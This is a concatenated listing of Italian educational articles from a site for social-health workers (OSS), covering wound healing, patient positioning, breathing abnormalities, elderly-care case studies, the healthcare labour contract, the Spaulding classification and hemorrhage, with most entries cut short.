analizzando il ruolo dell'oss nella guarigione. Scopri le fasi cruciali e la gestione pratica per aspiranti professionisti - Published: 2023-11-15 - Modified: 2023-11-15 - URL: https://ossinreparto.it/diverse-tipologie-di-ferite/ - Categorie: Assistenza alla Persona In questa analisi, esploriamo le diverse categorie di lesioni, approfondendo la loro classificazione, il processo di riparazione dei tessuti e le fasi essenziali del percorso di guarigione. Un percorso informativo dedicato a coloro che aspirano a una comprensione approfondita del campo delle lesioni. Le ferite sono un aspetto comune della nostra esperienza umana, ma dietro ogni graffio, taglio o lesione si cela un processo intricato di guarigione. In questo articolo, esamineremo le varie tipologie di ferite, approfondendo la classificazione, la riparazione tissutale e le fasi cruciali del processo di guarigione. Un viaggio informativo per aspiranti professionisti che desiderano comprendere a fondo il mondo delle ferite. Tipologie di Ferite: Una Classificazione Dettagliata Abrasioni: Superficiale danneggiamento della pelle dovuto a sfregamenti. Lesioni Lacero-Contuse: Coinvolgono sia la superficie che il sottostante strato cutaneo. Risultato di lacerazioni causate da contusioni. Lesioni da Punta: Possono colpire solo la superficie o penetrare in profondità. Danneggiano nervi, muscoli, tendini, vasi sanguigni, e organi interni. Lesioni da Taglio: Possono interessare solo la superficie o penetrare in profondità. Danneggiano nervi, muscoli, tendini, vasi sanguigni, e organi interni. Lesioni da Punta e Taglio: Provocano danni agli organi vitali. Lesioni da Arma da Fuoco: Superficiali (da striscio) o penetranti. Causano gravi danni agli organi vitali. Nel caso di ferite superficiali limitate all'epidermide, le cellule epiteliali si moltiplicano per chiudere la ferita. Se la lesione coinvolge anche il derma e il tessuto sottocutaneo, si verifica una perdita di sangue (emorragia) che coagula sulla ferita. La fibrina coagulata forma una crosta che protegge i tessuti sottostanti. I fibroblasti vengono richiamati per formare fibre di collagene che uniscono i margini della ferita. Sotto la crosta, nuovi vasi sanguigni penetrano mentre le cellule immunitarie rimuovono tessuti morti. La proliferazione delle cellule epiteliali può causare il distacco della crosta. In caso di ferite estese, il tessuto connettivo neoformato può rimanere visibile come cicatrice. Le ferite sono classificate in base alla causa, al grado di pulizia e agli strati di tessuto coinvolti. Principali categorie di ferite, sia acute che croniche Lesioni da Pressione Le lesioni da pressione sono aree di danno ai tessuti della pelle e/o dei tessuti sottostanti causate principalmente da pressione, stiramento o attrito. Questo tipo di danno, sebbene ampiamente prevedibile, rappresenta un fenomeno rilevante sia negli ambienti ospedalieri che nella comunità. Mentre negli ospedali la prevalenza delle lesioni da pressione varia dal 18% al 29% nei pazienti ricoverati, negli individui assistiti a domicilio è difficile trovare studi ampi e ben condotti. Il trattamento ottimale per le lesioni da pressione si concentra principalmente su tre aree: Rimozione della causa attraverso il riposizionamento del paziente e l'uso di superfici o ausili antidecubito. Trattamento topico mediante medicazione della lesione. Trattamento delle comorbidità che potrebbero interferire con il normale processo di guarigione, come malnutrizione, infezioni, ecc. Lesioni Vascolari degli Arti Inferiori Le lesioni vascolari degli arti inferiori sono definite come ferite cutanee con eziologia vascolare venosa, arteriosa e/o mista, localizzate dal di sotto del ginocchio fino al piede e con una durata di almeno otto/dieci settimane. Il trattamento ottimale per le lesioni vascolari venose prevede inizialmente l'uso di bendaggi elastocompressivi insieme a un approccio adeguato al trattamento topico della ferita. Lesioni da Piede Diabetico Le lesioni da piede diabetico si sviluppano quando la neuropatia diabetica o l'arteriopatia degli arti inferiori compromettono... --- > Scopri il processo di comunicazione e come migliorare le tue abilità di ascolto ed espressione per relazioni più solide e significative. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/come-comunicare-efficacemente/ - Categorie: Psicologia La comunicazione è una parte essenziale della nostra vita quotidiana. Ci permette di condividere pensieri, sentimenti e informazioni con gli altri. Tuttavia, il processo di comunicazione è molto più complesso di quanto possa sembrare a prima vista. In questo articolo, esploreremo in dettaglio il processo di comunicazione e forniremo preziosi consigli su come osservarlo e comprenderlo in modo più efficace. La comunicazione è una parte essenziale della nostra vita quotidiana. Ci permette di condividere pensieri, sentimenti e informazioni con gli altri. Tuttavia, il processo di comunicazione è molto più complesso di quanto possa sembrare a prima vista. In questo articolo, esploreremo in dettaglio il processo di comunicazione e forniremo preziosi consigli su come osservarlo e comprenderlo in modo più efficace. Gli Elementi Fondamentali della Comunicazione La comunicazione è l'atto che ci consente di interagire con gli altri, di veicolare contenuti e, quindi, di raggiungere i nostri scopi. Diversi aspetti possono essere condivisi, in maniera più o meno consapevole: emozioni interiori (come pensieri e sentimenti), dati sull'ambiente circostante, su oggetti concreti o simbolici. La comunicazione costituisce il fondamento della vita sociale: è un processo continuo, anche se può sembrare piuttosto ordinario. Tuttavia, questa apparente semplicità è ingannevole. La comunicazione rappresenta un "scambio interattivo che coinvolge almeno due individui, entrambi dotati di intenzione e consapevolezza comunicativa, che condividono un determinato significato utilizzando sistemi simbolici e segnali convenzionali stabiliti dalla cultura di appartenenza". Questa definizione è certamente esaustiva, ma potrebbe risultare complessa. Proviamo a semplificarla. Per intraprendere un atto di comunicazione, è necessario che si verifichino tre condizioni essenziali: Devono essere presenti almeno due persone, una delle quali genera un messaggio, mentre l'altra lo riceve. Questo scambio può avvenire in modo diretto o indiretto, come illustreremo in seguito. Deve esistere un messaggio da trasmettere, qualcosa che "va detto". Le persone coinvolte devono essere in grado di comprendere il messaggio, il che implica la condivisione di un codice comune. Ad esempio, la stessa lingua. Il Mittente, il Messaggio e il Destinatario Nel processo di comunicazione, ci sono tre elementi chiave: il mittente, il messaggio e il destinatario. Il mittente è colui che invia il messaggio, il messaggio è l'informazione trasmessa e il destinatario è colui che riceve il messaggio. È importante comprendere il ruolo di ciascuno di questi elementi per una comunicazione efficace. Da questa prospettiva, la comunicazione può sembrare un processo lineare, in cui il messaggio passa attraverso un canale da una persona all'altra. Tuttavia, è più preciso considerarla come un processo comunicativo, poiché la dinamica tra chi emette il messaggio e chi lo riceve è influenzata dal contesto e dalle reciproche risposte, ossia dai feedback. I feedback rappresentano un elemento cruciale della comunicazione, in quanto contribuiscono a chiarire eventuali ambiguità e confermano che il messaggio è stato compreso correttamente. Ciò assume grande importanza poiché consente di correggere possibili errori comunicativi causati da interferenze, come rumori o distorsioni percettive, e da inesattezze nella codifica e nella decodifica (consultare anche: bias). Una comunicazione poco chiara può dar luogo a conflitti. La comunicazione verbale Per comunicazione verbale s’intende l’utilizzo delle parole pronunciate e ascoltate. Gli strumenti della comunicazione verbale comprendono la conversazione e l'ascolto attivo, mentre per la comunicazione scritta si fa uso della scrittura e della lettura. La conversazione rappresenta il principale mezzo di comunicazione, ma richiede che l'interlocutore presti attenzione. Immaginiamo, ad esempio, che un medico legga la documentazione generata da un assistente... --- > Scoprite le diverse posizioni per il posizionamento del paziente a letto e i loro vantaggi. Informazioni essenziali per la mobilizzazione e il comfort dei pazienti. - Published: 2023-10-18 - Modified: 2025-09-10 - URL: https://ossinreparto.it/posizionamento-del-paziente-a-letto/ - Categorie: Procedure, Assistenza alla Persona Il posizionamento del paziente a letto è un aspetto cruciale dell'assistenza sanitaria che contribuisce alla mobilità e al benessere del paziente. In questo articolo, esploreremo le diverse posizioni utilizzate per posizionare i pazienti a letto, comprese la posizione di Fowler, la posizione ortopedica, la posizione distesa dorsale, la posizione prona, la posizione laterale e la posizione di Sims. Queste posizioni sono fondamentali per prevenire complicazioni e migliorare il comfort dei pazienti durante il loro ricovero. Il posizionamento del paziente a letto è un aspetto cruciale dell'assistenza sanitaria che contribuisce alla mobilità e al benessere del paziente. In questo articolo, esploreremo le diverse posizioni utilizzate per posizionare i pazienti a letto, comprese la posizione di Fowler, la posizione ortopedica, la posizione distesa dorsale, la posizione prona, la posizione laterale e la posizione di Sims. Queste posizioni sono fondamentali per prevenire complicazioni e migliorare il comfort dei pazienti durante il loro ricovero. L'importanza delle posture L'importanza delle posture nel contesto dell'assistenza ai pazienti allettati è cruciale per garantire il loro benessere e la salute. Il movimento, come è universalmente riconosciuto, è essenziale per mantenere in buona salute i principali sistemi del corpo umano: il sistema respiratorio e quello cardiocircolatorio. Tuttavia, quando una persona è costretta a rimanere a letto per periodi prolungati, si verificano diversi problemi che possono influenzare negativamente la sua salute. In particolare, la mancanza di movimento può portare a una serie di complicazioni: Polmoni: La ventilazione polmonare viene compromessa poiché la capacità di espansione degli alveoli diminuisce. Circolazione: La mancanza di movimento può causare rallentamenti nella circolazione, aumentando il rischio di sviluppare flebiti e trombosi. Scheletro: La postura statica può favorire la decalcificazione ossea, portando a dolori e fragilità delle ossa. Muscoli: La mancanza di attività fisica può causare una diminuzione del tono muscolare e una riduzione dello stato di nutrizione dei muscoli. Cute: La riduzione della circolazione sanguigna e la pressione costante su alcune parti del corpo possono causare lesioni da decubito. Il personale sanitario utilizza diverse posture per posizionare i pazienti, a seconda delle loro condizioni specifiche. Queste posture includono la posizione supina, semiseduta, seduta, laterale, prona e semiprona. La scelta della posizione dipende dalle esigenze individuali del paziente, come ad esempio problemi respiratori o cardiaci che richiedono una posizione semiseduta o seduta. È importante notare che il tempo trascorso in una data posizione dovrebbe essere limitato, evitando di superare le due ore consecutive per prevenire lesioni da pressione. Inoltre, le indicazioni per il posizionamento del paziente dovrebbero essere personalizzate in base alle sue specifiche condizioni cliniche, considerando vari fattori come la sua vigilanza, la collaborazione, il deficit motorio, il tono muscolare, la presenza di dolore e le condizioni della cute e circolatorie. Infine, è fondamentale ricordare che una postura è efficace solo se è comoda sia per il paziente che per chi la sta applicando. Non bisogna mai posizionare un paziente in una posizione che non si vorrebbe sperimentare personalmente al suo posto. Posizione di Fowler La posizione di Fowler è una delle più comuni e implica che il paziente sia seduto sul letto, con il busto sollevato e con le ginocchia flesse o distese, a un angolo compreso tra 45 e 60 gradi rispetto alla superficie del letto. Questa posizione favorisce la ventilazione polmonare, migliora la circolazione e facilita l'assunzione di cibo. Vantaggi della Posizione di Fowler Migliora la respirazione. Riduce il rischio di aspirazione. Favorisce l'interazione con il paziente. Posizione Ortopnoica La posizione ortopnoica è utilizzata quando il paziente... --- > Nel seguente articolo, esploreremo il concetto di paziente collaborante e non collaborante, evidenziando le diverse tipologie di resistenza al cambiamento e come gli operatori socio sanitari possono affrontarle. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/collaborazione-del-paziente/ - Categorie: Psicologia Nel seguente articolo, esploreremo il concetto di paziente collaborante e non collaborante, evidenziando le diverse tipologie di resistenza al cambiamento e come gli operatori socio sanitari possono affrontarle. La resistenza, come la conosciamo in fisica, è l'opposizione di un corpo o di un materiale a farsi cambiare dall'esterno, una sorta di tendenza all'omeostasi. In psicoterapia, questa stessa resistenza si manifesta nella relazione tra il paziente e l'oss, ma in questo caso, il corpo è rappresentato dal paziente stesso e l'esterno è il terapeuta. Questa resistenza può essere percepita come un gradino utile per il cambiamento o come una pietra che fa inciampare e cadere. Nel seguente articolo, esploreremo il concetto di paziente collaborante e non collaborante, evidenziando le diverse tipologie di resistenza al cambiamento e come gli operatori socio sanitari possono affrontarle. Tipologie di Resistenza al Cambiamento Il Paziente Collaborativo Il paziente collaborativo è la persona che ha effettive risorse cognitive ed è motivata al mutamento. Fin dal primo contatto, si mostra non contrario e non denigrante. Si è verificato che la comunicazione che produce le modifiche desiderate più velocemente è di tipo razionale-dimostrativo: a chi richiede il trattamento viene spiegato come si sta procedendo e i possibili effetti di ciò che viene indicato. Bisogna ricordare che questa persona, pur essendo cooperativa, non è un "esperto", per cui, ogni cosa, deve essere spiegata e deve comprendere ciò che non funziona in modo che possa essere portato verso una forma di mutamento consapevole. Pertanto, l'indicazione è quella di procedere "passo dopo passo" fino al raggiungimento dell'accordo generalizzato. Ovviamente la persona che si rivolge a noi sarà tanto più motivata a seguirci quanto più i risultati sono tangibili ed evidenti. Nelle terapie dirette, invece, la maggior parte delle volte, il paziente viene reso cooperativo. Questo traguardo, di solito segnato dal cambiamento di primo ordine, diviene il punto di partenza e semplifica i successivi cambiamenti che condurranno al cambiamento di secondo ordine. Chi Vorrebbe Essere Collaborativo Ma Non Può Questo gruppo di pazienti è caratterizzato da una grande motivazione e dalla necessità di cambiare, ma percepiscono il cambiamento come difficile o si sono arresi al problema. Spesso arrivano in terapia accompagnati da familiari che sono anch'essi vittime della situazione. Questi pazienti capiscono razionalmente cosa dovrebbero fare per cambiare ma faticano a mettere in pratica queste conoscenze. Blocchi emotivo-comportamentali e limitazioni di tipo morale-religioso spesso impediscono loro di agire in modo funzionale. La sensazione di poter cambiare e di evitare la sconfitta può motivare il paziente e renderlo più collaborativo. Nel contesto clinico, si tratta di individui che presentano una "narrativa" di sé stessi completamente distante dalla realtà razionale. Questa forma di resistenza coinvolge soggetti presumibilmente affetti da disturbi psicotici (vale la pena notare che occorre prestare particolare attenzione se si tratta di giovani o adolescenti. Confusione, disorientamento, episodi psicotici, specialmente in questa fase della vita, potrebbero rappresentare fenomeni temporanei. Pertanto, il ripristino delle normali funzioni mentali potrebbe avvenire rapidamente e in modo completo se trattati in modo adeguato, evitando l'etichettatura erronea come psicotici. Rientrano in questa categoria anche persone con sintomi deliranti ormai solidificati nel tempo) e tutte quelle persone che manifestano una rigidità mentale così estrema da impedire loro di... --- > In questo articolo, esploreremo alcune delle alterazioni patologiche del respiro più comuni e le condizioni mediche associate. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/anomalie-frequenza-respiratoria/ - Categorie: Anatomia In questo articolo, esploreremo alcune delle alterazioni patologiche del respiro più comuni e le condizioni mediche associate. La respirazione è un processo vitale per gli esseri umani, essenziale per assicurare l'ossigenazione dei tessuti e la rimozione dell'anidride carbonica. La respirazione è un processo vitale per gli esseri umani e coinvolge una serie di attività che assicurano un adeguato apporto di ossigeno ai tessuti e la rimozione dell'anidride carbonica prodotta dal metabolismo cellulare. Questo processo implica uno scambio di gas tra il corpo e l'ambiente esterno. La respirazione è composta principalmente da due fasi: la respirazione esterna (o polmonare) e la respirazione interna (o cellulare). Durante la respirazione esterna, l'aria viene inspirata e espirata attraverso i movimenti dei muscoli respiratori, come il diaframma. Quando il diaframma si contrae, i polmoni si espandono e permettono l'ingresso dell'aria; quando si rilassa, i polmoni si svuotano. Un ciclo respiratorio tipico consiste in una fase inspiratoria, che dura circa da 1,3 a 1,5 secondi, seguita da una fase espiratoria che dura da 2,5 a 3 secondi, con una pausa di circa 0,5 secondi tra le due fasi. La frequenza respiratoria media, ossia il numero di cicli respiratori in un minuto, in un adulto sano a riposo si situa generalmente tra 16 e 20 respiri al minuto. Una frequenza respiratoria inferiore a 12 atti al minuto è considerata bradipnea, mentre una frequenza superiore a 20 atti al minuto è definita tachipnea. È importante notare che la frequenza respiratoria può variare in base all'età e alla frequenza cardiaca della persona. Tuttavia, ci sono situazioni in cui il normale ritmo respiratorio è alterato da condizioni patologiche, dando luogo a diversi pattern respiratori. Queste alterazioni, note come alterazioni patologiche del respiro, possono essere indicazioni preziose per la diagnosi e la gestione delle malattie. In questo articolo, esploreremo alcune delle alterazioni patologiche del respiro più comuni e le condizioni mediche associate. Dispnea: La "Fame d'Aria" La dispnea è una condizione caratterizzata da una respirazione affannosa e difficile, spesso descritta come una "fame d'aria". Sebbene possa essere considerata fisiologica dopo l'esercizio intenso, la dispnea a riposo è un segno di preoccupazione. Può essere associata a una serie di malattie, tra cui asma, polmonite, ischemia cardiaca, insufficienza cardiaca congestizia, BPCO e stenosi laringo-tracheale. Apnea: Breve Interruzione della Respirazione L'Apnea L'apnea è una condizione in cui la respirazione viene interrotta per più di 15 secondi. Può essere causata da diverse circostanze, tra cui encefaliti, sclerosi multipla o sindrome delle apnee ostruttive. L'apnea può essere volontaria, farmacologicamente indotta o indicare un problema grave. Tachipnea: Il Respiro Accelerato La Tachipnea La tachipnea si verifica quando la frequenza respiratoria supera i 20 atti al minuto. Mentre può essere fisiologica durante l'attività fisica, può indicare problemi come l'insufficienza cardiaca, disturbi dei centri respiratori, polmoniti o febbre. Bradipnea: La Respirazione Lenta La Bradipnea La bradipnea è caratterizzata da una frequenza respiratoria inferiore a 12 atti al minuto. Può essere causata da traumi cranici, ictus cerebrali, shock, disturbi endocrini o l'assunzione di sostanze tossiche o farmaci. Iperpnea: Aumento del Ritmo e della Profondità L'Iperpnea L'iperpnea comporta un aumento sia del ritmo che della profondità respiratoria, portando... --- > Migliora la gestione dell'anziano con consigli pratici e soluzioni efficaci. Scopri come garantire il benessere e la sicurezza degli anziani nella vita quotidiana. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/caso-studio-gestione-dell-anziano/ - Categorie: Casi Clinici, Procedure Un caso di studio sulla gestione dell'anziano con difficoltà respiratorie e deambulatorie Questo articolo affronta il caso del signor Andrea, un paziente anziano con difficoltà nella deambulazione, ricoverato in un reparto di medicina. Il paziente ha subito un'escoriazione al piede destro a seguito di una caduta dal letto. Durante le attività quotidiane, il signor Andrea necessita di assistenza per la colazione, l'igiene orale e viene accompagnato in sala TV. Durante il tragitto, l'operatore socio-sanitario (OSS) ha rilevato che il paziente presentava arrossamento e difficoltà respiratorie. Questo caso richiede una valutazione e un intervento adeguato per garantire il benessere e la sicurezza del paziente. La Valutazione del Caso La prima fase consiste nella valutazione della situazione del paziente. Il signor Andrea, un anziano di 68 anni, presenta difficoltà nella deambulazione e utilizza un bastone come supporto. L'escoriazione al piede destro è stata classificata come una lesione di secondo grado, quindi richiede un'adeguata medicazione per prevenire infezioni. Inoltre, il paziente mostra segni di distress respiratorio, come arrossamento e difficoltà a respirare, che richiedono un'attenzione immediata. Procedure previste per la gestione dell'anziano: Medicazione dell'escoriazione: Prima di tutto, è necessario pulire adeguatamente l'escoriazione al piede destro del signor Andrea per prevenire l'infezione. L'operatore sanitario deve indossare guanti sterili prima di iniziare la procedura. La ferita deve essere pulita delicatamente con una soluzione antisettica e poi coperta con un bendaggio sterile per favorire la guarigione. Valutazione delle difficoltà respiratorie: Dato che il signor Andrea presenta segni di distress respiratorio, è fondamentale eseguire una valutazione approfondita della sua funzionalità respiratoria. L'operatore sanitario dovrebbe misurare la frequenza respiratoria del paziente, controllare la saturazione di ossigeno nel sangue e ascoltare i suoni respiratori usando uno stetoscopio. In caso di peggioramento dei sintomi respiratori, è necessario coinvolgere immediatamente un medico per ulteriori valutazioni e interventi. Monitoraggio delle condizioni vitali: Considerando l'età avanzata del paziente e i segni di distress respiratorio, è importante monitorare le sue condizioni vitali regolarmente. Questo include la misurazione della pressione arteriosa, della frequenza cardiaca e della temperatura corporea. Il monitoraggio delle condizioni vitali aiuterà a rilevare eventuali cambiamenti significativi e a intervenire tempestivamente. Supporto psicologico e sociale: Poiché il signor Andrea non desidera rimanere solo, è essenziale fornire un adeguato supporto psicologico e sociale. L'operatore sanitario dovrebbe assicurarsi che il paziente si senta confortato e accompagnato durante il suo soggiorno in sala TV. Questo può contribuire a ridurre l'ansia e migliorare il benessere generale del paziente. In conclusione, la gestione del caso del signor Andrea richiede un approccio olistico e attento alle sue condizioni fisiche e psicologiche. La medicazione dell'escoriazione al piede, la valutazione delle difficoltà respiratorie e il monitoraggio delle condizioni vitali sono procedure cruciali per garantire il benessere del paziente. Inoltre, il supporto psicologico e sociale è fondamentale per rispondere alle esigenze emotive del paziente anziano. Attraverso una corretta valutazione e una gestione attenta, gli operatori sanitari possono contribuire a garantire un ambiente sicuro e confortevole per i pazienti anziani come il signor Andrea. --- > Questo articolo si focalizza sul caso del signor Matteo, un paziente anziano di 73 anni ricoverato in un reparto di medicina. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/assistenza-anziano-caso-studio/ - Categorie: Casi Clinici, Assistenza alla Persona Un Caso di Studio sull'Assistenza a un Anziano con Limitazioni Motorie e Esigenze Diagnostiche Questo articolo si focalizza sul caso del signor Matteo, un paziente anziano di 73 anni ricoverato in un reparto di medicina. Il paziente necessita di una visita in ecografia e radiologia. Nonostante sia quasi autonomo, presenta qualche difficoltà nella deambulazione ed è portatore di un catetere vescicale. Il motivo del ricovero è una crisi ipertensiva. Per garantire un'adeguata assistenza, il paziente viene affidato a un operatore socio-sanitario (OSS), il quale sarà responsabile di accompagnarlo alle visite prescritte e di provvedere alla risistemazione del suo letto di degenza al termine delle visite. Valutazione del caso: Il signor Matteo, un anziano di 73 anni, è affetto da una crisi ipertensiva e richiede una visita in ecografia e radiologia. Nonostante la sua quasi autonomia, presenta difficoltà nella deambulazione. Inoltre, il paziente è portatore di un catetere vescicale. Queste condizioni richiedono un'attenzione particolare durante il suo trasferimento per le visite e una corretta gestione del catetere vescicale. Procedure previste: Preparazione per il trasferimento del paziente: Prima di accompagnare il signor Matteo alle visite in ecografia e radiologia, l'operatore socio-sanitario (OSS) dovrebbe assicurarsi che il paziente sia adeguatamente vestito, con calzature comode e che abbia con sé eventuali documenti o prescrizioni necessarie. Inoltre, l'OSS deve verificare il funzionamento corretto del catetere vescicale e garantire che il paziente sia a suo agio durante il trasferimento. Accompagnamento alle visite prescritte: L'OSS è responsabile di accompagnare il signor Matteo alle visite in ecografia e radiologia. Durante il tragitto, l'OSS deve prestare attenzione alla sicurezza del paziente, fornendo supporto nella deambulazione se necessario. Inoltre, l'OSS dovrebbe comunicare al personale medico coinvolto le informazioni pertinenti sul paziente, come la sua storia medica e le condizioni attuali, per garantire una corretta valutazione e diagnosi. Gestione del catetere vescicale: Dato che il signor Matteo è portatore di un catetere vescicale, è fondamentale prendere le dovute precauzioni per garantire il suo benessere. L'OSS dovrebbe assicurarsi che il catetere sia posizionato correttamente e che non ci siano segni di infezione o ostruzione. In caso di problemi o segni di complicazioni, l'OSS deve notificarlo immediatamente al personale infermieristico o medico competente per le necessarie azioni correttive. Risistemazione del letto di degenza: Al termine delle visite, l'OSS deve provvedere alla risistemazione del letto di degenza del signor Matteo. Ciò include cambiare la biancheria da letto, assicurarsi che il paziente sia comodo sulla sedia e che gli accessori medici, come il supporto per flebo o il monitoraggio della pressione sanguigna, siano correttamente posizionati. La risistemazione del letto dovrebbe essere effettuata in modo igienico e rispettando le procedure di sicurezza. In conclusione la gestione del caso del signor Matteo richiede un'attenzione particolare alle sue condizioni mediche e alle difficoltà nella deambulazione. L'accompagnamento alle visite in ecografia e radiologia, la corretta gestione del catetere vescicale e la risistemazione del letto di degenza sono procedure essenziali per garantire la sicurezza e il benessere del paziente. Attraverso una corretta valutazione e una gestione attenta, gli operatori socio-sanitari possono contribuire a fornire un'assistenza di qualità ai pazienti anziani come il signor Matteo... --- > In questo articolo parliamo del contratto collettivo nazionale del lavoro, e della sua importanza e di tutte le sue sfaccettature. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/ccnl-oss-sanita/ - Categorie: Legislazione Sanitaria Il Contratto Collettivo Nazionale del Lavoro (CCNL) nel settore sanitario è un tema di estrema importanza che merita un'analisi approfondita. Il Contratto Collettivo Nazionale del Lavoro (CCNL) nel settore sanitario è un tema di estrema importanza che merita un'analisi approfondita. Questo articolo si propone di fornire informazioni chiare e accessibili su questo argomento complesso, rivolgendosi a un pubblico non esperto ma interessato a comprendere i dettagli di questo accordo contrattuale cruciale. Esploreremo la definizione e l'importanza del CCNL sanità, gli attori coinvolti, i suoi contenuti principali e le implicazioni per il settore sanitario italiano. Definizione e Significato Cos'è il CCNL Sanità? Il CCNL nel settore sanitario, o Contratto Collettivo Nazionale del Lavoro, è un accordo negoziato tra le organizzazioni sindacali dei lavoratori e gli enti datoriali del settore sanitario, come le istituzioni ospedaliere, le ASL (Aziende Sanitarie Locali) e altre realtà del sistema sanitario italiano. Questo contratto stabilisce le condizioni di lavoro, i diritti e i doveri dei lavoratori del settore sanitario, garantendo un quadro normativo che regoli l'organizzazione e la gestione del personale impiegato nei servizi sanitari. L'Importanza del CCNL Sanità Il CCNL sanità è un pilastro fondamentale per il corretto funzionamento del sistema sanitario italiano. Esso contribuisce a definire le regole per la remunerazione dei lavoratori, le condizioni di lavoro, i livelli retributivi, le tutele sindacali, e molto altro. L'importanza di questo contratto è evidente nella sua capacità di garantire un equilibrio tra le esigenze dei lavoratori e le esigenze dei datori di lavoro nel settore sanitario, creando un ambiente di lavoro stabile e dignitoso per il personale coinvolto. Attori Chiave Le Organizzazioni Sindacali Le organizzazioni sindacali, rappresentate da sindacati come la CGIL, la CISL e la UIL, svolgono un ruolo cruciale nella negoziazione e nella stipula del CCNL sanità. Queste associazioni rappresentano gli interessi dei lavoratori e negoziano con gli enti datoriali per ottenere condizioni lavorative migliori per il personale sanitario. Gli Enti Datoriali Gli enti datoriali nel settore sanitario includono ospedali, ASL, aziende sanitarie private e altre istituzioni coinvolte nella fornitura di servizi sanitari. Essi partecipano alle trattative con le organizzazioni sindacali per cercare di raggiungere un accordo equo e sostenibile che tenga conto delle risorse disponibili e delle esigenze dei lavoratori. Il Ministero della Salute Il Ministero della Salute ha un ruolo di supervisione e vigilanza sul CCNL sanità. È responsabile di garantire che l'accordo rispetti le leggi e i regolamenti nazionali, assicurando così che le condizioni di lavoro nel settore sanitario siano adeguate e in linea con gli standard stabiliti. Contenuti Principali del CCNL Sanità Il CCNL nel settore sanitario copre una vasta gamma di argomenti e dettagli. Ecco alcuni dei contenuti principali inclusi in questo contratto: Livelli Retributivi Il CCNL stabilisce i livelli retributivi per diverse categorie di lavoratori del settore sanitario, come medici, infermieri, tecnici, amministrativi e altro personale. Questi livelli retributivi sono determinati in base all'esperienza, alla formazione e alla responsabilità del lavoratore. Orario di Lavoro L'accordo regola l'orario di lavoro, compresi i turni, le ferie e le modalità di copertura dei servizi essenziali durante le festività. Sindacali Il CCNL fornisce tutele sindacali per i lavoratori, garantendo il diritto di sciopero,... --- > In questo articolo, esploreremo in dettaglio cosa sia la Classificazione Spaulding, perché sia così importante e quali consigli pratici possiamo trarre per garantire ambienti sicuri e igienici. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/classificazione-spaulding/ - Categorie: Igiene e Sicurezza La Classificazione Spaulding è un concetto fondamentale nel campo della disinfezione e della sterilizzazione, ma spesso risulta poco noto al pubblico generale. La Classificazione Spaulding è un concetto fondamentale nel campo della disinfezione e della sterilizzazione, ma spesso risulta poco noto al pubblico generale. In questo articolo, esploreremo in dettaglio cosa sia la Classificazione Spaulding, perché sia così importante e quali consigli pratici possiamo trarre per garantire ambienti sicuri e igienici. Cosa è la Classificazione Spaulding? La Classificazione Spaulding è un sistema sviluppato da Earle H. Spaulding, un pioniere nell'ambito della disinfezione e sterilizzazione, per aiutare a determinare il livello di sterilità richiesto in diversi contesti medici. Questo sistema suddivide gli strumenti e gli oggetti utilizzati in ambito medico in tre categorie principali: Categorie della Classificazione Spaulding Strumenti non criticità: Questa categoria include oggetti che vengono in contatto solo con la pelle intatta del paziente, come termometri. La disinfezione di questi strumenti è sufficiente per prevenire la trasmissione di infezioni. Strumenti semicriticità: Gli oggetti in questa categoria entrano in contatto con le mucose o la pelle non intatta, come le sonde urinarie. La disinfezione o la sterilizzazione parziale è necessaria per garantire la sicurezza dei pazienti. Strumenti criticità: Questa categoria comprende strumenti che entrano in contatto con il sangue o i tessuti, come bisturi o aghi. La sterilizzazione completa è essenziale per evitare qualsiasi rischio di infezione. Consigli per la Disinfezione e la Sterilizzazione Ora che abbiamo una comprensione di base della Classificazione Spaulding, possiamo passare a alcuni consigli pratici per garantire la disinfezione e la sterilizzazione efficace negli ambienti medici e non solo. Processo di Ricondizionamento Nella prima fase del processo di ricondizionamento, è essenziale rimuovere il materiale biologico che non si è adeso alle superfici, come gli antisettici. Per questo scopo, l'uso di un'azione meccanica, ad esempio con una salvietta o uno scovolino, è più che sufficiente. Successivamente, viene eseguita una fase dedicata al trattamento dello sporco che si è fissato alle superfici. In questa situazione, oltre all'azione meccanica, è necessario l'uso di un detergente, ossia una sostanza chimica che facilita la rimozione dello sporco dalle superfici. Le modalità per effettuare queste fasi possono variare in base al tipo di dispositivo, ad esempio, in presenza di parti cave, e alla compatibilità dei prodotti utilizzati. Per ciascuna attrezzatura, è indispensabile stabilire il processo di ricondizionamento più adeguato per garantirne la sicurezza. Tutte le attrezzature sanitarie destinate all'uso sull'uomo per scopi di diagnosi, prevenzione, controllo o trattamento di malattie sono state classificate come dispositivi medici ai sensi del Decreto Legislativo 46/97. Questa normativa è stata introdotta per regolamentare il mercato europeo dei prodotti sanitari utilizzati per la cura e l'assistenza, un mercato in costante crescita. L'obiettivo principale è garantire la sicurezza delle prestazioni e, a tal fine, stabilisce linee guida specifiche per le modalità di ricondizionamento. Consigli per Strumenti non Criticità Per strumenti che rientrano nella categoria "non criticità", è importante seguire queste linee guida: Pulizia accurata: Prima di ogni uso, pulire gli strumenti con detergenti appropriati. Disinfezione regolare: Utilizzare disinfettanti efficaci per prevenire la trasmissione di infezioni. Monitoraggio costante: Assicurarsi che il processo di pulizia e disinfezione sia rigorosamente seguito e... --- > In questo articolo, esploreremo le varie forme di emorragia e le loro caratteristiche distintive, fornendo informazioni utili per affrontare questa situazione critica. - Published: 2023-10-18 - Modified: 2023-10-18 - URL: https://ossinreparto.it/emorragia/ - Categorie: Anatomia In questo articolo, esploreremo le varie forme di emorragia e le loro caratteristiche distintive, fornendo informazioni utili per affrontare questa situazione critica. L'emorragia è un termine che evoca immagini di ferite sanguinanti e situazioni di emergenza. Comprendere le differenze e i tipi di emorragia è essenziale per poter affrontare queste situazioni in modo efficace. In questo articolo, esploreremo le varie forme di emorragia e le loro caratteristiche distintive, fornendo informazioni utili per affrontare questa situazione critica. Emorragia: Cos'è? Emorragia, semplicemente definita, è la fuoriuscita di sangue da un vaso sanguigno. Questo può verificarsi in varie parti del corpo e può essere causato da una serie di fattori. Vediamo ora le diverse tipologie di emorragia e le loro differenze. Emorragia Interna e Esterna Emorragia Esterna L'emorragia esterna è il tipo di emorragia più riconoscibile, poiché il sangue fuoriesce dal corpo e può essere visibile all'esterno. 